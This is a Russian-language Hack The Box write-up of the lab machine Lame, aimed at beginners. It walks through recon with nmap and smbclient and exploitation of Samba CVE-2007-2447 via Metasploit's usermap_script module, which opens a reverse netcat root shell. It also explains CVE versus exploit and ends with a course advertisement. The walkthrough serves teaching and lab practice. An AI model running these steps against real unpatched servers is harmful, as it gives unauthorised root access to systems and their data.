Перейти к содержимому

Прохождение HTB Lame: эксплуатация Samba CVE-2007-2447 и разница между CVE и эксплойтом

Прохождение HTB Lame: эксплуатация Samba CVE-2007-2447 и разница между CVE и эксплойтом
Время чтения: 11 мин.

Lame — первая машина, когда-либо опубликованная на Hack The Box, и формально она решается одним эксплойтом за 15 минут. Моё первое прохождение заняло три часа: не потому что техника сложная, а потому что я путал CVE с эксплойтом, не понимал, что показывает nmap, и убил час на FTP-бэкдор, который на этой машине не работает. Ниже — весь путь от разведки до root-шелла с объяснением каждого шага и терминов, которые пришлось гуглить самому.

Зачем начинать с Lame: первая машина Hack The Box для основ пентеста

Hack The Box (HTB) — платформа для практики пентеста на уязвимых виртуальных машинах. Lame — Linux-машина уровня Easy, на которой крутится устаревшая Samba 3.0.20. Samba — сервис, который позволяет Linux-системам раздавать файлы и принтеры Windows-клиентам по протоколу SMB (Server Message Block). Если видели сетевые шары в Windows — за ними часто стоит именно SMB.

Три навыка, которые отрабатывает Lame:

  • Разведка — найти открытые порты и определить версии сервисов
  • Поиск уязвимости — по версии сервиса найти CVE и подобрать эксплойт
  • Эксплуатация — запустить эксплойт и получить shell (интерактивный доступ к командной строке удалённой системы)

[Применимо: внутренний пентест, legacy-инфраструктура] Машина эмулирует необновлённый Linux-сервер. Техники из этого разбора встречаются на внутренних пентестах, где legacy-системы с Samba 3.x до сих пор стоят в серверных комнатах — особенно в промышленном секторе, где «работает — не трогай» возведено в принцип.

Требования к окружению: — Kali Linux (VM или установленная система), минимум 2 ГБ RAM — OpenVPN-подключение к HTB (файл .ovpn из личного кабинета) — Metasploit Framework (предустановлен в Kali) — IP машины Lame (отображается в интерфейсе HTB после запуска)

Разбор CVE и эксплойта: чем отличается CVE от эксплойта на практике

Прежде чем ломать машину — два термина, которые новички регулярно путают. Я сам путал до третьей машины.

CVE (Common Vulnerabilities and Exposures) — уникальный идентификатор конкретной уязвимости в формате CVE-ГОД-НОМЕР. CVE-2007-2447 — уязвимость в Samba, зарегистрированная в 2007 году. CVE описывает что сломано: какой продукт, какие версии, какой тип ошибки. Считайте это диагнозом.

Эксплойт (exploit) — код или последовательность действий, которые используют уязвимость для конкретного результата: выполнения команд, чтения чужих файлов, повышения привилегий. Это инструмент для работы с диагнозом.

Одна CVE может иметь несколько эксплойтов — разные авторы пишут разные реализации. А может не иметь ни одного публичного эксплойта: уязвимость известна, но готового инструмента нет. Для CVE-2007-2447 ситуация благоприятная (для атакующего): есть модуль Metasploit exploit/multi/samba/usermap_script (EDB-16320 — идентификатор в базе Exploit-DB) и несколько независимых Python-скриптов.

Где искать CVE и эксплойты:

Ресурс Что хранит Как использовать
NVD (nvd.nist.gov) Описания CVE с оценками критичности Проверить, уязвима ли версия сервиса
Exploit-DB (exploit-db.com) Публичные эксплойты с привязкой к CVE Найти готовый код для конкретной CVE
searchsploit Офлайн-копия Exploit-DB Искать эксплойты из Kali без интернета
Metasploit Модули эксплуатации с payload’ами Запустить эксплойт с минимальной настройкой

На практике цепочка такая: нашёл версию сервиса → поискал CVE для этой версии → нашёл эксплойт для этой CVE → запустил → получил доступ. Прохождение HTB Lame — идеальная отработка этой цепочки, потому что каждый шаг здесь прозрачен и однозначен.

Разведка: сканирование и перечисление сервисов

Разведка — первый этап пентеста. В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1046 — её идентификаторы) это Network Service Discovery (T1046, тактика Discovery): определяем, какие сервисы доступны на цели.

Сканирование портов через nmap

Зачем: определить открытые порты и версии сервисов. Порт — «дверь» в систему: каждый сервис слушает на своём порту (FTP — 21, SSH — 22, SMB — 139/445).

Запускаем nmap -sC -sV -Pn 10.10.10.3. Флаг -sC запускает стандартные скрипты обнаружения, -sV определяет версии сервисов, -Pn пропускает проверку «жив ли хост» (HTB-машины иногда не отвечают на ping). Ожидаемый вывод (ключевые строки):

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian
3632/tcp open  distccd     distccd v1

Пять открытых портов. Самое ценное — конкретная версия: Samba 3.0.20-Debian на порту 445. Именно она станет точкой входа.

На первом прохождении я убил час на vsftpd 2.3.4 (порт 21). Для этой версии FTP-сервера существует известный бэкдор — в определённый период в исходный код vsftpd был внедрён вредоносный код. Но на Lame этот бэкдор уже удалён из сборки, и эксплойт не сработает. Урок, который стоит запомнить: не каждый «известный» эксплойт работает на каждой конкретной системе. Версия совпадает, а уязвимой конфигурации нет.

Как понять, что nmap отработал: строки с пометкой open — доступные сервисы. filtered — порт закрыт файрволом. closed — порт доступен, но сервис не слушает.

Перечисление SMB-шар через smbclient

Зачем: SMB часто позволяет анонимный доступ к файловым шарам (shared folders). В шарах иногда лежат конфиги, пароли, бэкапы — всё то, что админ забыл убрать.

Команда smbclient -L //10.10.10.3 выводит список доступных шар. При запросе пароля — просто Enter (анонимный вход). В результате видим пять шар: print$, tmp, opt, IPC$, ADMIN$. Шара tmp доступна без пароля — подключаемся через smbclient //10.10.10.3/tmp и смотрим содержимое. На Lame внутри ничего критичного, но мы подтвердили два факта: Samba принимает анонимные подключения, и версия — 3.0.20-Debian.

Теперь ищем уязвимость для этой версии. Запускаем searchsploit samba 3.0.20 — в результатах строка: «Samba 3.0.20 < 3.0.25rc3 — ‘Username’ map script’ Command Execution (Metasploit)». Это наш эксплойт для CVE-2007-2447.

Уязвимость samba usermap_script: механика CVE-2007-2447

Согласно официальному advisory от Samba Team, причина уязвимости — нефильтрованный пользовательский ввод, который передаётся как аргумент в /bin/sh при вызове внешних скриптов из конфигурации smb.conf. Переведу: когда Samba получает имя пользователя через MS-RPC (Remote Procedure Call — механизм вызова функций на удалённом сервере), она подставляет это имя прямо в команду shell. Без очистки от спецсимволов. Вообще без очистки.

Если вместо обычного логина отправить строку с shell-метасимволами — обратными кавычками, конструкцией $(команда) или точкой с запятой — Samba передаст их в /bin/sh, и произвольная команда выполнится на сервере с привилегиями процесса smbd. По механике это классическая инъекция команд (Command Injection), соответствующая паттерну CWE-78 (OS Command Injection — категория ошибок, где пользовательский ввод попадает в shell-команду без фильтрации) и категории OWASP Top 10 A03:2021 — Injection. NVD не присваивает CVE-2007-2447 формальную CWE-классификацию, но описание уязвимости однозначно указывает на подстановку непроверенного ввода в shell-команду.

Описание из NVD: «The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the SamrChangePassword function, when the «username map script» smb.conf option is enabled.» NVD описывает два независимых вектора: неаутентифицированный RCE через SamrChangePassword() (при включённой опции username map script) и RCE для аутентифицированных пользователей через другие MS-RPC функции — управление принтерами и файловыми шарами.

В терминах MITRE ATT&CK цепочка: Exploit Public-Facing Application (T1190, Initial Access) — эксплуатация уязвимости в сетевом сервисе, с последующим выполнением команд через Unix Shell (T1059.004, Execution).

Работает если: — Samba версий от 3.0.0 до 3.0.25rc3 включительно — В smb.conf включена опция username map script (на Lame она включена) — Порт 139 или 445 доступен по сети — Аутентификация не требуется для вызова SamrChangePassword()

Не работает если: — Samba обновлена до 3.0.25 или выше — Опция username map script убрана из конфигурации (Samba Team рекомендует это как workaround) — Порты SMB заблокированы файрволом

EPSS-оценка (Exploit Prediction Scoring System — вероятность от 0 до 1, что уязвимость начнут эксплуатировать в ближайшие 30 дней): для CVE-2007-2447 EPSS составляет 0.4976, percentile 98.80. Уязвимость входит в топ-1.2% по вероятности эксплуатации среди всех CVE в базе. Восемнадцать лет прошло, а она до сих пор опасна для legacy-систем. Red Hat выпустила патч RHSA-2007:0354 в мае 2007 года, Ubuntu — USN-460-1 в том же месяце. Но «выпустила патч» и «все обновились» — разные вещи.

Эксплуатация samba через Metasploit: решение HTB Lame пошагово

Metasploit Framework — платформа для разработки и запуска эксплойтов, предустановленная в Kali Linux. Для CVE-2007-2447 есть готовый модуль.

Предпосылки: Kali Linux с Metasploit, активное VPN к HTB, знание IP цели и своего IP в VPN-сети (проверяется командой ip addr show tun0 — нужен адрес интерфейса tun0, не eth0).

Шаг 1. Запускаем Metasploit командой msfconsole. Через 10–30 секунд появится приглашение msf6 >. Ошибка базы данных при старте — не критична, модули работают без неё.

Шаг 2. Выбираем модуль: use exploit/multi/samba/usermap_script. Строка приглашения изменится, а Metasploit автоматически подберёт payload (полезную нагрузку — код, который выполнится на цели после срабатывания эксплойта). По умолчанию — cmd/unix/reverse_netcat: обратное подключение через netcat, когда атакуемая машина сама «звонит» к вам.

Шаг 3. Настраиваем параметры. Команда show options покажет обязательные поля: RHOSTS (IP цели) и LHOST (ваш IP в VPN). Заполняем: set RHOSTS 10.10.10.3 и set LHOST <ваш_tun0_IP>.

Шаг 4. Запускаем эксплойт командой exploit. Metasploit отправляет специально сформированное имя пользователя с shell-метасимволами на порт 139 цели (RPORT по умолчанию — SMB over NetBIOS; порт 445 тоже относится к smbd, эксплойт сработает на любом из них). Если всё прошло штатно:

[*] Started reverse TCP handler on 10.10.14.5:4444
[*] Command shell session 1 opened
whoami
root

Строка Command shell session 1 opened — подтверждение, что shell-сессия установлена. Команда whoami возвращает root: Samba на Lame работает от имени root, поэтому эксплойт сразу даёт максимальные привилегии. Повышение привилегий не требуется.

Шаг 5. Забираем флаги. На HTB нужно прочитать два файла: cat /home/makis/user.txt (пользовательский флаг) и cat /root/root.txt (root-флаг). Вставляем значения в интерфейс HTB — машина пройдена.

Если эксплойт не сработал — три самые частые причины: неправильный IP в LHOST (должен быть tun0, а не eth0 или внешний), файрвол на вашей машине блокирует входящее подключение на порт 4444, машина Lame не активна в интерфейсе HTB.

Бизнес-логика атаки: зачем это злоумышленнику в реальности

CVE-2007-2447 — классический Remote Code Execution (RCE — удалённое выполнение кода) через инъекцию команд. В реальной инфраструктуре атакующий получает root на файловом сервере, откуда может:

  • Читать и изменять данные пользователей на SMB-шарах
  • Использовать скомпрометированный сервер для атак на другие машины в сети (lateral movement, T1210 — Exploitation of Remote Services)
  • Установить backdoor для долгосрочного присутствия

По данным Mandiant M-Trends 2025, эксплойты остаются самым распространённым вектором первоначального доступа — 38% всех инцидентов. Согласно IBM X-Force Threat Intelligence Index 2025, среднее время между публикацией CVE и устранением в организациях — 29 месяцев. CVE-2007-2447 опубликована более 18 лет назад, но EPSS показывает, что она в топ-2% по вероятности эксплуатации. Необновлённые системы — реальность, а не учебный сценарий.

Что вынести из первого прохождения Hack The Box

Решение HTB Lame укладывается в методику, которая работает на большинстве Easy-машин:

  1. Сканирование nmap -sC -sV → конкретные версии сервисов
  2. Поиск CVE через searchsploit <сервис> <версия> → идентификатор уязвимости
  3. Подбор эксплойта в Metasploit или Exploit-DB → готовый код
  4. Настройка и запуск → shell
  5. Post-exploitation → флаги, разведка системы

Эта логика масштабируется на средние и сложные машины, только шагов больше: после первого shell’а нужно повышать привилегии, перемещаться по сети (T1210), собирать информацию о системе (T1082, System Information Discovery). На Lame всё схлопывается в один шаг, потому что Samba работает от root. Но привычку после получения доступа проверять whoami, id, uname -a и содержимое /etc/passwd стоит формировать с первой машины — на следующих без этого никуда.

Многие walkthrough по HTB Lame сводятся к последовательности команд без объяснения, зачем каждая из них. Но прохождение машины — не самоцель. Настоящая ценность — после Lame уметь самостоятельно проделать ту же цепочку на незнакомой системе: увидеть версию сервиса, найти CVE, оценить применимость эксплойта (проверить предусловия), запустить его и понять результат. Если вы прошли Lame и можете объяснить, почему эксплойт для vsftpd 2.3.4 здесь не работает, а для Samba — работает, вы получили от машины максимум.

Отдельно о разнице CVE и эксплойта, которая стала для меня очевидной только после нескольких машин: CVE — координаты проблемы, эксплойт — инструмент. Бывает CVE без публичного эксплойта (тогда приходится писать свой или ждать), бывает эксплойт, который не сработает на конкретной конфигурации (как vsftpd на Lame). Умение отличить одно от другого экономит часы — и на реальном пентесте, и на следующих HTB-машинах. На курсе IB Basics в Codeby Academy эту разницу разбирают на первом модуле с привязкой к реальным задачам SOC — для тех, кто не хочет собирать базу в одиночку по writeup’ам.

Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.